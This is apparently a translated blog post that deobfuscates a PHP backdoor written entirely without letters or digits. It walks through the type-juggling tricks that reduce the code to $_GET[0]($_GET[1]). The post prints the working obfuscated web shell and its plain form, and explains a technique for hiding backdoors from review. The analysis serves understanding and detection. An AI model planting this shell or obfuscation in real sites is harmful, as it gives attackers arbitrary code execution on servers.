📜 ⬆️ ⬇️

Backdoor deobfuscation without a single alphanumeric character

A month ago, I saw an interesting post about a PHP shell without a single alphanumeric character and really wanted to understand what it was doing. Who cares - under the cut!

Here is the malicious code itself
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

So, in line:
@ $ _ [] = @! + _; - we initialize the $ _ array (by removing the error output), while we add an element to the array, since the array is empty, then the element will have a 0 index. _ PHP treats as a constant, naturally it does not find it, therefore it considers the character _ as string (1) "_" . The + operator does a cast of this string to a numeric type (0), then a negation follows, leading the number to a boolean type, and the negation eventually gives us a single element in the array:
array(1) {
[0]=>
bool(true)
}

The bitwise shift @ $ {_} >> $ _ gives us (int) 0 .
It does not bring closer to the truth:
 @$arrArray[]=@!+_; $var2=0; $arrArray[]=$var2; $arrArray[]=@_; $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

At least we can reduce the number of lines in the source:
 $var2=0; $arrArray = array(true, 0, "_"); $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 


((++ $ var2) + ($ var2 ++)) - this is what they like during bad interviews. The result is 2 , so $ arrArray is obtained in the form:
$ arrArray = array (true, 0, "_Array");
When concatenating a string and an array, it turned out "_Array" - these are the features of type casting in PHP.
Add one more element to our array:
 $arrArray = array(true, 0, "_Array", 3); $var2=3; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

')
$ arrArray [- $ var2] [$ var2 >> $ var2] - from the second element of the array you need to take the first character. We get:
 $arrArray = array(true, 0, "_Array", 3, "_"); $var2=2; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 


Again you have to go to the manual:
4 + true = 5
6 + true = 7
5. 7 = "57"

We get:
 $arrArray = array(true, 0, "_Array57", 3, "_"); $var2=2; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

Probably, we are close to the end. We decipher the next line.
$ arrArray [4] = ($ arrArray [2] [0]). ($ arrArray [2] [2] ^ $ arrArray [2] [6]);
This is the same as
$ arrArray [4] = "_". ("r" ^ "5");

We get rid of one more line:
 $arrArray = array(true, 0, "_Array57", 3, "_G"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

Similarly, for the following line of code:
$ arrArray [4]. = ($ arrArray [2] [7]) ^ ($ arrArray [2] [2]);
We get:
$ arrArray [4]. = "7" ^ "r";

Eventually:
 $arrArray = array(true, 0, "_Array57", 3, "_GE"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 

Well, as many have already guessed, waiting for us after deobfuscation of another line of code loved by all _GET :
 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 


Honestly, at this moment I fell into a stupor. In the line $ arrArray = $, I searched for a non-breaking space and another Unicode, which can be a variable name. But, of course, everything is simpler than I thought: the interpreter ignores whitespace and we get an absolutely clear thing:
 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$$arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] ); 


If you chew a little, then:
 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$_GET ; $arrArray[@-_]($arrArray[@!+_] ); 


Actually the entire backdoor has come down to one line:
 $_GET[0]($_GET[1] ); 

Now we know exactly what and how this script does, and we can do without vague explanations for the user, including the words “boolean magic”.

Source: https://habr.com/ru/post/197624/


All Articles